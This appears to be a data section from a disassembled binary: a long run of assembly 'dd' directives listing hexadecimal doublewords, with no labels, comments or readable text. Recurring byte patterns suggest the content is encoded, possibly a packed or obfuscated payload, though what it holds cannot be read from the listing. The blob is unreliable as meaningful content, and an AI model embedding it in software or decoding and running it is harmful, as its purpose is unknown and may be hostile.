		dd 0EAB15336h, 75B138BFh, 0AF732C56h, 0CD85D8D2h, 0A12505C9h
		dd 57B127D0h, 0ABA1DB56h, 5BB83256h, 9DBF086Ch,	0D48FF3F4h
		dd 0DAFB50D8h, 5DB1B955h, 0AEB135BFh, 0ADC58956h, 95E3CF98h
		dd 57BE3256h, 0EAB13252h, 14EF6336h, 3EBE3256h,	5DB1325Ah
		dd 0AEB7B759h, 0D7BE3256h, 0ABB13256h, 0D3583256h, 33B13256h
		dd 0AFC86153h, 4FB1321Bh, 5DBBB459h, 24D13256h,	8079B3A6h
		dd 0CAA1A11Eh, 0B5D13256h, 41DCDCD7h, 0F0BE4F67h, 0BAB13256h
		dd 5DB6DB37h, 3A83256h,	94CF1912h, 0ABB15381h, 0D5B120BFh
		dd 0EF48F756h, 0D500B0E5h, 4E2069Dh, 1651EB44h,	0AE05F5F1h
		dd 57A1DB56h, 0A64C3256h, 60311274h, 5AA53D2Eh,	0F3A37FDCh
		dd 0BAB1A7CEh, 3CC68236h, 0AE4D3256h, 57B1CE56h, 0ABB137BFh
		dd 95410B56h, 0EAB130ACh, 75B13BBFh, 17F51D56h,	9140DDD7h
		dd 2DBE79CCh, 57B1325Eh, 0ABB3B559h, 0B4D13256h, 0EA483256h
		dd 79373D56h, 0B5B13256h, 5DB134DBh, 0AE3E3D56h, 57B13256h
		dd 0ABB6DB56h, 0FE5A3256h, 28739FC1h, 15B13207h, 0DC6FB930h
		dd 0D09BD2D7h, 0AEB1CB37h, 57B0B259h, 0AB443256h, 0C6595256h
		dd 0BB13256h, 0DFC035E1h, 687647EEh, 9A17A5C8h,	0A7C97DBh
		dd 8E0F5A0h, 0ABB1530Fh, 2DB132AAh, 0EA4D3256h,	7AD15256h
		dd 0BAB132D6h, 4E62B256h, 0EA52B337h, 36AEC954h, 0AB493256h
		dd 0C53B3D56h, 3B13256h, 75B1325Dh, 47717507h, 10F794F2h
		dd 0AEDBE740h, 1C085256h, 0FDD65AB2h, 0D5B122BFh, 21C0E456h
		dd 49E24081h, 46EA4722h, 99EDDDA0h, 0AED06DFCh,	5B303D56h
		dd 0A4B13256h, 0D5B134DDh, 0EA3B3D56h, 75B13256h, 0B5D15256h
		dd 0D1BEF5E9h, 0AEB13256h, 57B15337h, 7A063D36h, 0D5B153AEh
		dd 0EAB0B359h, 754D3256h, 0BAB1CE56h, 5DB134BFh, 6B84F56h
		dd 37E3F612h, 0A49582E9h, 4F0B5463h, 0EAB15350h, 75B120BFh
		dd 0EAD74D56h, 2D70AEBFh, 307D0720h, 883A223Fh,	0AB4BC9E7h
		dd 0D5B8DB56h, 0DCE3256h, 4502A186h, 0BA29FAF7h, 5DB1CB56h
		dd 0E40B5436h, 0DDBE5382h, 0ABB13243h, 0D5B122BFh, 2E04C656h
		dd 3B6C33FBh, 1A9BAC79h, 0E15F141Ch, 0CEB132E6h, 0FB0E5405h
		dd 22BE6B3Eh, 0D5B13247h, 0EAB13EBFh, 0C275F556h, 9C262CA6h
		dd 8282EC47h, 0AEB153FFh, 57BCBE59h, 0CDD13256h, 5D1CF2D7h
		dd 0EAB1B959h, 75D03256h, 0BAB1CE56h, 3DB132AEh, 36FAD8D7h
		dd 5B582F87h, 68B13256h, 65343F88h, 4F7D5843h, 14885980h
		dd 8A085436h, 0C085455h, 0AEB153DAh, 57B138BFh,	82C62956h
		dd 5E688DE1h, 1F9DEBC0h, 9CD13256h, 0BAB1325Ah,	117DD11Ch
		dd 4C96A503h, 0AA62D02Eh, 0DAD3E3D7h, 0D5D02BF0h, 6BBECB56h
		dd 75B13257h, 46B132A3h, 0DCBE3256h, 0AEB1324Eh, 57BADB36h
		dd 85513256h, 0B1FA4D9Eh, 0E0B9DF9Bh, 0AD59B330h, 0DBBA53D1h
		dd 5DB137BFh, 0D604B256h, 57B12659h, 523A5436h,	0DAD0C2DDh
		dd 0EAB133DBh, 75B1CA56h, 0BAB137BFh, 468B1B56h, 0AEB13BD4h
		dd 523E3D36h, 0CDB13256h, 97A2D1D7h, 7F7AC5D7h,	75D06937h
		dd 0BABADB56h, 31393256h, 884E84F3h, 0F8A6761Fh, 57B13288h
		dd 0DF583256h, 0B7B13256h, 92F5AB8Fh, 1C1EDD09h, 52B132F9h
		dd 0AEB133DCh, 57B1CE56h, 0ABA2DA36h, 8B453256h, 312524BCh
		dd 97AFE734h, 17CD3B9Fh, 73F478DFh, 0F7D0528Dh,	36EBC0D6h
		dd 0AB4D3256h, 0D5B1CB56h, 0EAB13BBFh, 0AB6A756h, 0BDDA9626h
		dd 5DB175B3h, 56B132A3h, 584D3256h, 0ABB138DFh,	0D5B4DB56h
		dd 0E9A53256h, 75BA1909h, 0BB363D56h, 0A5B13256h, 0AE483256h
		dd 0EE495256h, 95E2F0B1h, 0DAB13237h, 0EAB133D9h, 75B1C756h
		dd 0BAB5BD59h, 0AD13256h, 0C8D15308h, 0EF7CF9EDh, 8995D435h
		dd 0B5B13237h, 4C3F8907h, 0FEEB30CCh, 0BAB15399h, 9A305436h
		dd 5E31B7D8h, 57B153C8h, 7B305436h, 0B3D1CF25h,	23710ECh
		dd 75B1325Dh, 96A99B29h, 0AB6CCBFBh, 0F0C93398h, 57B15337h
		dd 0ABB13EBFh, 0D4075D56h, 37E330C6h, 2F128DD7h, 0DAB13256h
		dd 0D649B930h, 0AEB153A6h, 57B138BFh, 718B9C56h, 0D7D32496h
		dd 0EA0D1DAAh, 7E3A3D56h, 53B13256h, 5DB13250h,	60216F24h
		dd 0DDBEC2EDh, 0ABB13257h
		dd 0B5B132AEh, 0EAB134BEh, 6B1C8956h, 0B5B079DCh, 5DB132D2h
		dd 2EE76A56h, 36EAAC80h, 24BE3256h, 0D5B13257h,	0E03D3DA3h
		dd 9CB13256h, 0BAB13253h, 37309C5Ch, 0A1B13226h, 57B133D5h
		dd 0ABB1CE56h, 0D5B126BFh, 1F47E056h, 2131CBD0h, 41A8AA6Ch
		dd 6860F014h, 180D869Bh, 58B132D6h, 0ABB13ADCh,	54BE5256h
		dd 0EAB13256h, 15B13237h, 0DB4DF4DDh, 52D13256h, 0AEB120DFh
		dd 57BCDB56h, 61A73256h, 3CD068BCh, 0C0CD6265h,	147924E0h
		dd 3BD13256h, 0E153D7B9h, 0AEA0DB20h, 4C023256h, 1823B9F3h
		dd 12105BF7h, 9C4DE908h, 14817E8Fh, 34BE3256h, 5DB13257h
		dd 47B132A3h, 57B13250h, 1AD9FF77h, 0D5B18E58h,	0EAB6B259h
		dd 0F7BE3256h, 0BAB13257h, 0B4B132A3h, 0AEB1325Bh, 6B8E202Ah
		dd 0C19E6876h, 42153E28h, 8AB1320Ah, 75BABA59h,	0BC583256h
		dd 59B13256h, 24452862h, 57B153AFh, 765EB336h, 0DABBDE54h
		dd 0EAB132D4h, 75B15356h, 3BBECA36h, 5DB13257h,	0AEB153A3h
		dd 57B0BC59h, 0AB443256h, 0D5A2DB56h, 0D2A43256h, 45587C2h
		dd 53EE233Fh, 0E6E0A087h, 0B740406Bh, 0AFB132A4h, 24BE3256h
		dd 0D5B13257h, 1FB132AAh, 0F4D13256h, 7246A180h, 5DB8DA2Fh
		dd 3F433256h, 50074FEAh, 200EEE10h, 0D5D06CA6h,	0E23B3D56h
		dd 15B13256h, 0A06FB330h, 52D0CA2Eh, 0AEB13EDAh, 51353D56h
		dd 0A4B13256h, 0D5B132D4h, 13B13256h, 75B9B959h, 3BBE3256h
		dd 5DB13254h, 0AEB15336h, 57B13ABFh, 5C2F8056h,	8C6A33D5h
		dd 13B1325Bh, 75483256h, 0BAB1CE56h, 7742B336h,	0C89C37E2h
		dd 57D0E8DDh, 0AA343D56h, 20B13256h, 3D13256h, 75B1325Eh
		dd 7DC98F51h, 1AE99BE9h, 0AEB4BF59h, 0D6D73256h, 0CA2C3A8Fh
		dd 0D54D3256h, 0EB3F3D56h, 80B13256h, 0BA483256h, 5DB1CA56h
		dd 0AEBEDA36h, 0ACF33256h, 0EB48F44Bh, 22B29E3Bh, 0D6C4298h
		dd 7679B348h, 0E5FD5E13h, 5DB13ABEh, 2D3EB456h,	0B023658Fh
		dd 0EC51B31Bh, 8FAC411Dh, 3B13237h, 75B13258h, 656ABD38h
		dd 1C981BD7h, 0FDE9AFCh, 57B1DA9Bh, 630E3D36h, 0B5B13237h
		dd 0EAB2B959h, 0FED73256h, 0BAB15397h, 5DBAB259h, 0A8583256h
		dd 0CDB13256h, 9C029AB8h, 5ED7529Eh, 3B3A5497h,	80B13237h
		dd 0BA443256h, 47323D56h, 0CEB13256h, 57B122BEh, 12287656h
		dd 6ED5DBDEh, 8C36FA10h, 69129B7Eh, 0DBD16C46h,	0A8B13237h
		dd 0AEB7DA36h, 0C01D3256h, 0CA70BD62h, 0B4EB7AE5h, 3D13256h
		dd 75B13258h, 0F79FEDD4h, 706B6BB8h, 2AE0F743h,	0D1BED5A0h
		dd 0ABB13257h, 0DC5853AAh, 0E7B13256h, 7EACECC5h, 74076033h
		dd 72025236h, 0A45853A3h, 0A6B13256h, 0AB2A582Ch, 0CC10B101h
		dd 0EAB1DA54h, 0F4EB3256h, 0A23FFABCh, 553F3D50h, 0A1B13256h
		dd 57B130D9h, 53D05256h, 36305436h, 8B48402Dh, 75B13ABFh
		dd 98B25B56h, 4D39C850h, 2F34BF86h, 58B725DDh, 0ABB13EDEh
		dd 0D3313D56h, 0E5B13256h, 75B132D6h, 5733BB56h, 0B4B72A21h
		dd 0AEB1325Fh, 0A93F3714h, 0B8A06748h, 5533BFFAh, 12B72B1Ah
		dd 0DA2B0DFh, 53D1344Eh, 5DB13259h, 2036D293h, 0CE794A3Eh
		dd 5A9FC913h, 3C3699ABh, 0EAB1325Eh, 0CA12E0FCh, 0C73E92C3h
		dd 6853DA37h, 0A1D13256h, 57B124DCh, 0ABA1DA56h, 2B253256h
		dd 3B8CE92h, 95BF9F7Dh,	92871720h, 52EFD7CFh, 0AEB131D1h
		dd 0AE0E3D56h, 0A91CDA37h, 12443256h, 0F2C641D4h, 75B13250h
		dd 3DBE5256h, 5DB1325Ch, 0AEB137BFh, 0ABAA756h,	0AE5962D9h
		dd 71B13256h, 1938764Dh, 75B135BEh, 7C960956h, 0DA7721F5h
		dd 47D0690Eh, 57B1325Dh, 7820C12Dh, 9526DACCh, 0B84EEB0Dh
		dd 75A1DB36h, 619B3256h, 4CC7F67Eh, 63F20918h, 33BBE4B4h
		dd 25BED2F4h, 0D5B13256h, 9B34F437h, 23B7207Eh,	0BAB121BFh
		dd 0AA9C2E56h, 6BBCAC9Eh, 34A66ACFh, 3AA27603h,	0A83375A5h
		dd 4209603Eh, 665852CAh, 63B13256h, 2CC7D6C2h, 0E897803Dh
		dd 11FD759Bh, 3FBDFC4Dh, 3530A99Fh, 0A28CEE70h,	9C04CD37h
		dd 0B5B72066h, 5DB126D1h, 0AEBEDB56h, 0E4053256h, 5F889E55h
		dd 388A1235h, 0F5C56CA0h, 4034BFECh, 0DAB72729h, 5DB121BEh
		dd 0A1246E56h, 9AD0E4BDh, 1EC1E47Eh, 5E8D6ABEh,	8814921Dh
		dd 75B13EBEh, 6FCA7256h, 0FE6895ABh, 0F2CBE95Ah, 31EF6AB7h
		dd 0CA45E9EFh, 0D358E2A9h, 0B4B13256h, 8E8BBBEBh, 3B34BB83h
		dd 52B72046h, 0AEB13EDFh, 513C3D56h, 0A4B13256h, 0D5B132DAh
		dd 3B55856h, 75B1325Ah,	803ABF73h, 0A356CFC3h, 619CF663h
		dd 57A1323Eh, 0ABA0DB56h, 3E6C3256h, 5617181Ah,	6AE5515Eh
		dd 0ECB0B60Ch, 3597AF8Eh, 0AEB23F16h, 57BDB959h, 21BE3256h
		dd 0D5B13250h, 0EAB1BA59h, 75DB3256h, 0DCE152AAh, 8794D2D7h
		dd 0AEB8DB0Fh, 0FD33256h, 0BD5FD280h, 0B4BE4726h, 0FB58E2A9h
		dd 0D7B13256h, 6DAF821Eh, 9032D199h, 29B31DF4h,	0C700E0D6h
		dd 0ABA1DB0Ch, 0C0583256h, 7BD1FACFh, 774139F4h, 0F4C8ADA4h
		dd 9DBA3B85h, 0AE1DB659h, 31D13256h, 0CA7B10E9h, 0A2C2B0DFh
		dd 634D344Eh, 6DC64FD4h, 3ABE5250h, 5DB13257h, 0AEB7DAAFh
		dd 0D50C3256h, 0BF934B1Dh, 6CD06CA3h, 0EAB23F16h, 75B137BFh
		dd 0AE76F556h, 0A53A701Eh, 0D66C8B36h, 58E10C08h, 0ABB132D8h
		dd 0E6D06956h, 1948CE96h, 74343DFCh, 4FB13256h,	5DB7DB04h
		dd 78833256h, 61B1068Ch, 24BE363Ch, 0D5B13257h,	0FAB15AAFh
		dd 1D493256h, 0BAB13656h, 5DB13ABFh, 7689FB56h,	0A233BDC9h
		dd 42B1583Ch, 0D5B13244h, 0E0CE973h, 0E95F74AFh, 0D8136CEAh
		dd 97898900h, 3C4EE5AAh, 51A322D7h, 224868AEh, 0CDCB2BD4h
		dd 8AD0CB50h, 75B126BFh, 4EBF4B56h, 0F87BC148h,	0FB97D112h
		dd 0C283C4FFh, 9DDE3553h, 0D5BCDBA4h, 0CBF63256h, 0C711F03Dh
		dd 3BC2938Bh, 3C2DD423h, 0D9C2B7DDh, 5958344Eh,	0A6B13256h
		dd 87995B90h, 4F20BFADh, 7401638Fh, 0DA48F19Ch,	49585236h
		dd 3BB13256h, 0F7635B16h, 1A610774h, 0B85B7D50h, 0B414B6E8h
		dd 0CEF7FBFFh, 8B342412h, 5DBBDB37h, 932D3256h,	78F0666Bh
		dd 0E3AB523Dh, 7833F537h, 0EAB72057h, 7AB17256h, 0BAB13CDAh
		dd 5DB8DB56h, 0AD6C3256h, 63771C60h, 6CD5B1BAh,	0C7A39FD4h
		dd 0EAA13250h, 61363D56h, 0DAB13256h, 5DB13BBFh, 5783656h
		dd 76999C45h, 13D70D50h, 0B4D08E8Dh, 0EAA1DB36h, 241D3256h
		dd 0B0B3AA9Bh, 8F1C15BEh, 0D0B19E2Ah, 0AFD0709Ch, 743A5295h
		dd 0DC585237h, 98B13256h, 2EBEB744h, 5AC89B38h,	2AC288DDh
		dd 2D48344Eh, 0D3BE3269h, 0ABB13226h, 0B446B836h, 0FACEB1A3h
		dd 5E353D54h, 42B13256h, 59A14DD5h, 0AEF0B659h,	58D13256h
		dd 0ABB130D8h, 0DA43B956h, 0EAB133D6h, 15D0CE56h, 0DB4FB9AEh
		dd 0A1A5F5D5h, 514E8CBFh, 1076C7A9h, 0ABB13346h, 3C58C756h
		dd 34ECDA9h, 75B13259h,	1EC2FC0Eh, 202A3F1Ah, 0AD7CF8DDh
		dd 90D989F0h, 0ABB22211h, 53BE3256h, 0EAB13257h, 8A73DBA3h
		dd 4F48CDA9h, 55303D37h, 0A1B13256h, 57B130D7h,	68D05256h
		dd 0D5BDDA36h, 0C8B53256h, 0C276F2E7h, 0AEE149CBh, 0E4D75345h
		dd 1CE999E6h, 5B585339h, 0B8B13256h, 4FFD89ECh,	0D0E9749Dh
		dd 20AFC872h, 306BB936h, 0B13A53ACh, 0BF5852AFh, 9B13256h
		dd 0ECD1DCD4h, 33DBD57Fh, 0C831050Dh, 0A4A86C83h, 0BAB132BEh
		dd 0B7306856h, 0A8A9A1F9h, 8231CA36h, 0CBD15379h, 31F8830h
		dd 8CD05336h, 1492F8EFh, 0C08B80DDh, 0D644344Eh, 274D3A13h
		dd 50303D50h, 0CBB13256h
		dd 53047CEFh, 6832534Dh, 73A9486Ch, 0AC343D52h,	0B4B13256h
		dd 0AEB13247h, 0B4DA620Eh, 3F510E29h, 0DCE5576Bh, 19ACD47h
		dd 0FFBE5354h, 0BAB13251h, 5DB0B459h, 67493256h, 57ABB059h
		dd 0CDD13256h, 3C88CCEEh, 0EAB13259h, 0B35EF21Fh, 441C296Dh
		dd 0A858F9F5h, 0CF384AD9h, 58B13694h, 0ABB12CD6h, 0C7595256h
		dd 5BB13256h, 2951465Fh, 0B036AE51h, 2DC37ADh, 93126A03h
		dd 0EFD76B7Ch, 0CBD05209h, 35305436h, 0E1585040h, 0B6B13256h
		dd 1CB99B59h, 0C4CFF3B4h, 46D08535h, 57B13256h,	0D15BB30Ch
		dd 0B5B72AC2h, 54D7DDDCh, 7AD0291Ch, 0BAB138D6h, 5DB4DB56h
		dd 0BDD73256h, 0DC79F5EDh, 0B3CB2BE4h, 0C5383D50h, 3B13256h
		dd 75B1325Dh, 0B9316CBCh, 0B54C63Dh, 95D02AB2h,	4FCB08E4h
		dd 0D6353D50h, 3CB13257h, 0EAB13242h, 0B7E874FCh, 87671D60h
		dd 3413BDE9h, 50D8A63Ah, 57B29511h, 22BE0CDDh, 0D5B13250h
		dd 0B30F5436h, 0AA3A53DEh, 0BAB138BFh, 3D79AB56h, 5EBA90C7h
		dd 582EC054h, 0ABB124D2h, 0D5A0DB56h, 88393256h, 584E3122h
		dd 0F13FBAFEh, 352CA033h, 0A1D3A2F7h, 0BEB07DE0h, 0ABB13245h
		dd 2FA4323Fh, 0AE7855D3h, 9B23CEC1h, 0ACA8F26h,	0ABE85C5Dh
		dd 0A1313311h, 57B12CD3h, 0A2055256h, 95908C30h, 16683137h
		dd 75B129BFh, 0BAB8DB56h, 0A8DB3256h, 47F70894h, 7C60002Ch
		dd 0A4D1528Fh, 0D5B132D3h, 8BD0CB56h, 7AF2C715h, 0BAB123DAh
		dd 5DBDDB56h, 8C933256h, 8E0641F9h, 74B8D8C5h, 503A64F9h
		dd 0ECA33EE7h, 61343DAEh, 0B5B13256h, 5DB13CDEh, 0AEB8DB56h
		dd 707F3256h, 0E6F0B0F5h, 5EB69401h, 0F8AFE3DBh, 0FEBE5250h
		dd 0BAB13255h, 3D7EB930h, 2567B930h, 58D053A1h,	0ABB120DBh
		dd 0D5BCDB56h, 0AA0E3256h, 3F9076A5h, 7548FDBBh, 6650EB83h
		dd 9B333D8Eh, 0AEB13256h, 2CBEEB6Dh, 0D5B1327Ah, 0EF393D36h
		dd 13B13256h, 24C3D0D7h, 5977B137h, 0AEA1BB59h,	5C583256h
		dd 48B13256h, 6F028F2Eh, 1E7D590Dh, 0DD58A3C2h,	434ECDA8h
		dd 0D9BEFD6Dh, 0AEB1327Eh, 3865B236h, 163853AEh, 0D3A32C87h
		dd 14C0DBA3h, 0FABECDA9h, 0BAB13246h, 5DB139BFh, 89E42E56h
		dd 0B1226766h, 0C2D59584h, 0D5BADB37h, 44513256h, 0C4ADCA9h
		dd 32DC96A4h, 5358F10Bh, 55B13256h, 0E4716FF4h,	221F7039h
		dd 47834763h, 8CD152E2h, 8107C3DDh, 0BE373D37h,	3BB13256h
		dd 0CFCB22ECh, 57BADB36h, 6D4F3256h, 9628152h, 0B494BCECh
		dd 75B1DA7Fh, 3BEB3256h, 4527BEBCh, 47D1CA50h, 57B1325Dh
		dd 4A1AB565h, 9706040Ch, 8B55F6F0h, 0FA888DDh, 349344Eh
		dd 5DB13356h, 0AEBDBB59h, 0D7BE3256h, 0ABB13250h, 0D5B1B359h
		dd 2A823256h, 873A5436h, 0EA2D92E9h, 0F642536Bh, 0B733B9AAh
		dd 0BEB72A2Ch, 0ABB13242h, 0AC058A55h, 22A27F93h, 5BEDCBFCh
		dd 7AB4465Ah, 438FA69Dh, 0D48BB0DFh, 0DDBE344Eh, 0ABB13251h
		dd 0D5B0B259h, 8B493256h, 75BDB259h, 33BE3256h,	5DB13250h
		dd 0AEB1BF59h, 58723256h, 0ABB12AD6h, 0C7343D56h, 3B13256h
		dd 75B1325Bh, 8E936BB0h, 0B2BD457Eh, 9BCA5244h,	585852E9h
		dd 77B13256h, 99A9FB45h, 0AE483077h, 0FFC5B991h, 0BA59712Fh
		dd 7B13256h, 39E0D8D7h,	4358344Eh, 6BB13256h, 0FFCAED23h
		dd 9C751A8Dh, 368A7C47h, 0B067D09Bh, 52519032h,	0AEB129D4h
		dd 44585256h, 0E3B13256h, 58174F7Ah, 1508C4D8h,	844A9495h
		dd 87BBCB76h, 3C48419Dh, 86C0B790h, 0A2E73444h,	0B4DC0B3Eh
		dd 0D5BCDB82h, 47313256h, 0CA654B93h, 0C6119E4Ah, 0A2861E4Ch
		dd 0BC81DBE3h, 0D23CCE50h, 0ADA44D63h, 3C61CDAFh, 0EAB13251h
		dd 0E91A06B5h, 43B0285Dh, 0A8E1C704h, 0AE31323Eh, 51585256h
		dd 0DDB13256h, 2FA69B42h, 0E9303D59h, 13B13256h, 0D0D0E8DDh
		dd 0EF4ECA56h, 0A8A94525h, 57B6BC59h, 29BE3256h, 0D5B13257h
		dd 0EAA5DBAAh, 0ED603256h, 0FF5161A0h, 71B74E1Ah, 3F304555h
		dd 0C8738A07h, 7B4E485Fh, 5ED7CB36h, 3E953A4h, 75B1325Dh
		dd 159EC32h, 0D8B572CCh, 0F4627757h, 57BCDB36h,	3FBE3256h
		dd 0B81ECED4h, 0BC2D9A67h, 14EC941Bh, 3AB15AAAh, 37493256h
		dd 0AF353D56h, 0ABB13256h, 0D1A880A9h, 0D058344Eh, 4B13256h
		dd 11E53870h, 1C4C8B36h, 0E2BE553Ch, 7E4E53A7h,	57048C36h
		dd 0CAD010ECh, 62D1CE36h, 8B7BB880h, 7B58F137h,	0B1B13256h
		dd 3B618617h, 9243D385h, 0B48A1CB3h, 42E4CA99h,	0D5B1325Ch
		dd 0FB7CF2A1h, 0D30CCFEDh, 563A441Bh, 0D0BE52AEh, 0AEB13242h
		dd 57B13DBFh, 718DCB56h, 5068C364h, 0A05BE8D2h,	3BF5082Eh
		dd 0BAB132BEh, 0B7306856h, 0A8A9AA99h, 57B126BFh, 304C9356h
		dd 37E1AB1Bh, 0C676FD2Dh, 3842E504h, 17EA16B7h,	0DDE05268h
		dd 0A1EE55BFh, 57B132DDh, 24BE5356h, 0D5B1324Ah, 0EAA7BF59h
		dd 64583256h, 25B13256h, 28E07675h, 0B779CA60h,	8BC364DDh
		dd 52DA247Dh, 0B5B947DDh, 0EAB4BD59h, 0F4D73256h, 0B5D6F0BDh
		dd 0B4D0FDE1h, 0AEB13246h, 303A2A48h, 0AF81A229h, 34675923h
		dd 0B3EE3349h, 75BCC5BEh, 55305256h, 6D56BC35h,	0F9D16737h
		dd 0D6E85336h, 0A1835EBCh, 474E5323h, 0ECA945BBh, 9C348236h
		dd 0BAB1325Ch, 91F80C4Fh, 19D5D784h, 0AD07B46h,	0ABBAB559h
		dd 0D3583256h, 0E1B13256h, 9E07FB6Fh, 0B6C40939h, 0A203B759h
		dd 0AB58CDA9h, 0FFB13256h, 0FE8CF613h, 0D5BCADBEh, 52D75256h
		dd 0A6303328h, 0F04E3695h, 0DFBE5337h, 0AEB13242h, 57B13DBFh
		dd 2FE91256h, 3386A3D9h, 90267018h, 0DCC73E86h,	0B358529Fh
		dd 9B13256h, 44A130B8h,	0D2C9299Eh, 5178E0D7h, 0B5D00522h
		dd 0EAB2B859h, 0FED73256h, 0BAB8DBAFh, 67EF3256h, 0CD0518BCh
		dd 36B59036h, 42B13A94h, 0D5B13242h, 0B2127747h, 0CC8E8727h
		dd 4F2D6F90h, 65DAF532h, 10F8424Ch, 57B138BFh, 65F2B56h
		dd 0C25D1A45h, 0BF985071h, 155DB9AAh, 0BAB3B359h, 3CD13256h
		dd 0AEB120BEh, 4BDD6356h, 0BEB5629Dh, 4F2AA600h, 8BB928F6h
		dd 9CB47F99h, 0BAB13251h, 0AE4C3B8Eh, 0F5E07D05h, 0AB75B137h
		dd 0ABB123BFh, 75404956h, 89C0CC5Dh, 0EC755319h, 0C5AEED6Fh
		dd 0A4E7004Eh, 0AEB6B659h, 0DDBE3256h, 0ABB13257h, 51BE65AEh
		dd 0EAB1324Eh, 75B121BFh, 6E88FE56h, 205786A9h,	316D147Eh
		dd 43E548F5h, 803E0C31h, 0DC585205h, 4AB13256h,	0A181F232h
		dd 0BB43F632h, 6A2E15E9h, 4649535Fh, 57B13256h,	115BB30Ch
		dd 0DAB72ACCh, 0EAB133D9h, 7B58CB56h, 5EB13256h, 0B41FD063h
		dd 0D6A11284h, 49267476h, 0A3C4B95Ah, 0C5CCB9A3h, 28086236h
		dd 2FE0E479h, 0F744F4D7h, 0AD008C1h, 464964A3h,	57B13394h
		dd 0ABB135BFh, 66786E56h, 27D95B50h, 0F1BEF25Dh, 0BAB13376h
		dd 5DB0B859h, 254D3256h, 58E4CEAEh, 0ABB13FDAh,	0D5B9DB56h
		dd 95613256h, 9A6E7BD5h, 284EDB79h, 5BA945BBh, 0AEA5B659h
		dd 58583256h, 0AFB13256h, 147E9781h, 6A099DF7h,	53F3058Bh
		dd 0DAEC4A40h, 0DD438559h, 95D0A4A7h, 0D3BE3E23h, 0ABB13286h
		dd 0D5A9B059h, 3D13256h, 75B1325Ah, 0B1F6A0A1h,	0F7076471h
		dd 0FCF0B391h, 0CDAECCEEh, 20D7531Ch, 0C4585248h, 11B13256h
		dd 939391D1h, 5809C355h, 3C7EF7C5h, 133C5D12h, 5C363D37h
		dd 0CBB13256h, 0D5B1BE59h, 55BE3256h, 9231538Dh, 0A43BCBA6h
		dd 5DA5B559h, 0A1583256h, 30B13256h, 0BBE66592h, 96A489FFh
		dd 567C7F51h, 9DD1E54Fh, 0BAB1325Dh, 7DACF79Fh,	0C80D23h
		dd 0AB9AC0E0h, 4831530Dh
		dd 0D5BDDBA6h, 0A5D83256h, 0CC6A13C1h, 2F68537Ch, 0EBD128CCh
		dd 14D752E6h, 36D1A686h, 4F595337h, 2CB13273h, 0EAB126BFh
		dd 0E13A9556h, 7A98C428h, 92F2AFD9h, 61767A29h,	5D558A85h
		dd 5560DB6Ch, 5FBECDA9h, 0EAB13257h, 74363DAEh,	46B13256h
		dd 0A14D4FDFh, 5147BABEh, 0D0BEC7A9h, 0ABB1325Eh, 0B35BB836h
		dd 8B2747EFh, 0F4D7520Dh, 443C590h, 43FBA5DAh, 26BE6D37h
		dd 57B1325Bh, 0ABB13ABFh, 0A26E1356h, 6842E46Bh, 9DE65227h
		dd 0BAB13259h, 0A2B4CFC5h, 0D14F63E9h, 0F571D4B7h, 0F2136FF2h
		dd 90B540Eh, 0E5EF53E0h, 75B133DCh, 0FF3ACA56h,	843A52AAh
		dd 67D0F1DDh, 57B13DBFh, 0AAFF4556h, 22F4DFAEh,	0C3259E26h
		dd 2E5C2C10h, 0DAB13E94h, 5D313D36h, 14B13256h,	4DFF1E3Eh
		dd 42E45337h, 0D5B13247h, 39EC3585h, 0F5A0A210h, 7E6482Ah
		dd 938BC85Eh, 475DB96Bh, 57B13259h, 7DCA19F9h, 0A766F927h
		dd 9FC50E05h, 0F647CE0Dh, 0ED4DCA92h, 0C4964AAh, 0AEB9B459h
		dd 0D6BE3256h, 0ABB13254h, 29E25336h, 0EA497791h, 7AB13256h
		dd 0BAB133D2h, 0DF76CE56h, 0A8A94B00h, 57B13257h, 0ABBDBE59h
		dd 5FBE3256h, 0EAB13250h, 75B1B259h, 0CF3A3256h, 0FE01525Eh
		dd 0AEB138BFh, 5C14A956h, 88F6089Bh, 0B4DBEBFAh, 3AFB930h
		dd 75B13245h, 6E970254h, 464FE714h, 8BF13350h, 435D8546h
		dd 20DC2849h, 0CDC641ECh, 0B53ACA50h, 134D525Eh, 0D55E5D7h
		dd 526A3937h, 0AEB15FD2h, 57A3DB56h, 68B73256h,	444C149h
		dd 0C2CE5D50h, 4B41A5CEh, 79E59514h, 0D8BEEC6Dh, 0AEB13261h
		dd 57B13EBFh, 0EA0B4356h, 0DDAFC983h, 3F632E53h, 79ECB998h
		dd 342B336h, 52FB0BC3h,	0AEB133DFh, 0ABD0CE56h,	42BD6DDFh
		dd 0D5B1325Dh, 6DF1A1D9h, 5D933778h, 39B90493h,	0B4442691h
		dd 514ECDD8h, 57B13BBFh, 91AC7556h, 0F5C5FB61h,	61D759B4h
		dd 72383D48h, 0B5B13256h, 5DB133D2h, 2FD1C756h,	71D82984h
		dd 2BD0C76Ch, 51BEDAADh, 0EAB13134h, 75B13DBFh,	0A8A1E856h
		dd 3AAA973Dh, 52891F59h, 0BAB06F6Bh, 0A458C9D6h, 0D5B277D2h
		dd 0EAB9DB56h, 0EBC03256h, 8353DCA2h, 0A6313BC4h, 81353DBDh
		dd 0BEB13255h, 0ABB13258h, 8DC6A674h, 0FE270E83h, 8BBF11DFh
		dd 413159C8h, 0A4353DB4h, 5BB13254h, 5852C9D6h,	0ABB3E4D2h
		dd 0C1585256h, 16B13256h, 5901B4ACh, 151D8BD3h,	0E962F90Bh
		dd 7F6B873Ch, 31C58B2Bh, 0CDD0E3DDh, 36D6C9D7h,	0E877B659h
		dd 0FEBE3256h, 0BAB13257h, 0AD56B2AFh, 0AEB8DBA3h, 59E23256h
		dd 1AC3CFF8h, 0B341CD66h, 6ABEC9D7h, 770DB659h,	3A4D3256h
		dd 0D7D1C2B5h, 75063DA6h, 274AB237h, 0A919B659h, 3CD13256h
		dd 0EAB13258h, 0DC6F35A8h, 0B8AF471Fh, 4B967936h, 2BBE4819h
		dd 57B13256h, 0B53A5437h, 0D5B126BFh, 0B5647F56h, 6CCB749Bh
		dd 0C1125C23h, 0A5824378h, 0EBEF689h, 0AF52B22Fh, 134AB2A3h
		dd 0D4C7B659h, 63BE3256h, 75B13258h, 0BAB4DB36h, 67233256h
		dd 0FC06E560h, 31D15309h, 0F81107EFh, 0BD3E8C30h, 0D431530Eh
		dd 38353D53h, 0DAB13257h, 5DB13ABEh, 5F1EE256h,	0B861C1DAh
		dd 0F470B980h, 3346FDD7h, 6AD030A8h, 0F1BE1F68h, 0BAB1337Ah
		dd 5DB121BFh, 8E893356h, 52AC3A50h, 15DDB989h, 0E26D8CA3h
		dd 8E1AAE1Dh, 7AD90CD6h, 0BAB039D2h, 5C3E3D56h,	52B13256h
